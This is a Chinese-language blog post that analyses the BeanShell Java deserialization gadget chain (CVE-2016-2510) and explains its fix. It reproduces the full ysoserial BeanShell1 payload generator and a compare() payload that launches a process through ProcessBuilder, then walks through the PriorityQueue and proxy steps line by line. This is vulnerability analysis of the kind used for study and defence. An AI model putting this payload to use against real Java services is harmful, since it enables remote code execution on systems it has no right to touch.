Beanshell 反序列化分析(CVE-2016-2510)

2025-01-27 8 0

版本

<!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)-->  
<dependency>  
    <groupId>org.beanshell</groupId>  
    <artifactId>bsh</artifactId>  
    <version>2.0b5</version>  
</dependency>

用法

beanshell可以指向Java代码:

package com.kiwi.beanshell;  
  
import bsh.EvalError;  
import bsh.Interpreter;  
  
public class BeanShellExample {  
    public static void main(String[] args) {  
        Interpreter interpreter = new Interpreter();  
        try {  
            // 执行BeanShell脚本  
            interpreter.eval("int a = 3; int b = 4; int sum = a + b; System.out.println(sum);");  
        } catch (EvalError evalError) {  
            evalError.printStackTrace();  
        }  
    }  
}

分析

yso给的payload,将其分成三部分:

package ysoserial.payloads;  
  
import bsh.Interpreter;  
import bsh.XThis;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.Arrays;  
import java.util.Comparator;  
import java.util.PriorityQueue;  
import ysoserial.Strings;  
import ysoserial.payloads.annotation.Authors;  
import ysoserial.payloads.annotation.Dependencies;  
import ysoserial.payloads.util.PayloadRunner;  
import ysoserial.payloads.util.Reflections;  
  
@Dependencies({"org.beanshell:bsh:2.0b5"})  
@Authors({"pwntester", "cschneider4711"})  
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {  
    public BeanShell1() {  
    }  
  
    public PriorityQueue getObject(String command) throws Exception {  
        String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}";  
        Interpreter i = new Interpreter();  
        i.eval(payload);  
        XThis xt = new XThis(i.getNameSpace(), i);  
        InvocationHandler handler = (InvocationHandler)Reflections.getField(xt.getClass(), "invocationHandler").get(xt);  
        Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);  
        PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);  
        Object[] queue = new Object[]{1, 1};  
        Reflections.setFieldValue(priorityQueue, "queue", queue);  
        Reflections.setFieldValue(priorityQueue, "size", 2);  
        return priorityQueue;  
    }  
  
    public static void main(String[] args) throws Exception {  
        PayloadRunner.run(BeanShell1.class, args);  
    }  
}

第一部分

String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"  
        +  
        Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\")  
        .replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"")  
        +  
        "}).start();return new Integer(1);}";  
// compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}  
Interpreter i = new Interpreter();  
i.eval(payload);

主要是构造了payload然后调用eval进行执行。

第二部分

// 动态代理获得了增强对象comparator  
XThis xt = new XThis(i.getNameSpace(), i);  
// 获取invocationHandler的值  
Field invocationHandler = Reflections.getField(xt.getClass(), "invocationHandler");  
InvocationHandler handler = (InvocationHandler)invocationHandler.get(xt);  
  
Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);

使用了动态代理,获取了invocationHandler的值,然后进行增强得到了comparator,主要是为了传递comparator。

第三部分

PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);  
Object[] queue = new Object[]{1, 1};  
Reflections.setFieldValue(priorityQueue, "queue", queue);  
Reflections.setFieldValue(priorityQueue, "size", 2);

主要是apache common collections 2当中的一部分。

总流程分析

从CC2当中开始,readObject->heapify->siftDown->siftDownUsingComparator

将PriorityQueue当中的siftDownUsingComparator当中的comparator.compare(x, (E) c) <= 0中的comparator的调用修改为payload当中的compare的调用。

Beanshell 反序列化分析(CVE-2016-2510)插图

详细分析

1、 第一部分放到后面说。

2、 实例化XThis对象,核心部分在i.getNameSpace(),这里需要科普一下:

当你通过动态代理对象调用任何方法时,invoke 方法会被调用。这是 Java 动态代理机制的核心部分。具体来说,当你调用代理对象上的任何方法时,Java 的反射机制会将调用转发到 InvocationHandler 的 invoke 方法。

恰好,在XThis当中实现了InvocationHandler接口,所以会执行XThis下的invoke与invokeImpl方法,这里和正常的动态代理开始相似。

3、 为什么要实例化数据类型为Comparator的对象?
在总流程分析当中,可以看到,将comparator替换为我们自己的对象,就可以调用我们自己的compare方法。

4、 第四部分为什么???

Object[] queue = new Object[]{1,2};  
Reflections.setFieldValue(priorityQueue, "queue", queue);  
Reflections.setFieldValue(priorityQueue, "size", 2);

最有疑问的是这三行,这三行主要是修改了queue的值为{1,2},修改size的值为2。

如果不进行修改size的值,那么int i = (size >>> 1) - 1的值为-1,无法进入循环。

private void heapify() {  
    for (int i = (size >>> 1) - 1; i >= 0; i--)  
        siftDown(i, (E) queue[i]);  
}

至少将size的值修改为2,i的值才可以为0,但是实际上运行后是会报错的,报错在:

java.util.PriorityQueue#writeObject

for (int i = 0; i < size; i++)  
    s.writeObject(queue[i]);

queue默认有一个空元素,导致第二次写入时越界,所以queue必须至少有两个元素。

5、 回到第一部分,为什么payload需要构造为:

compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}

原因在(java.util.PriorityQueue#siftDownUsingComparator):

if (comparator.compare(x, (E) c) <= 0)  
    break;

当comparator修改为我们替换的对象后,调用的对应对象当中的compare,最后return 1的目的时为了使得上面的代码与0比较时,有一个值。

修复

直接去掉了Handler能够被序列化的接口,也就是InvocationHandler无法被序列化,导致comparator无法被序列化,使得priorityQueue无法被序列化。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

xss总结
浅谈蜜罐原理与规避
[Meachines] [Easy] Alert XSS-Fetch网页源码提取+CSRF+AlertShot-htb+Apache2 .htpass…
[Meachines] [Easy] LinkVortex Git leakage+Ghost 5.58+Double Link Bypass权限提升
[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升
[Meachines] [Easy] Access FTP匿名登录+mdb文件解析+Outlook PST提取+Runas权限提升+DPAPI滥用(M…

发布评论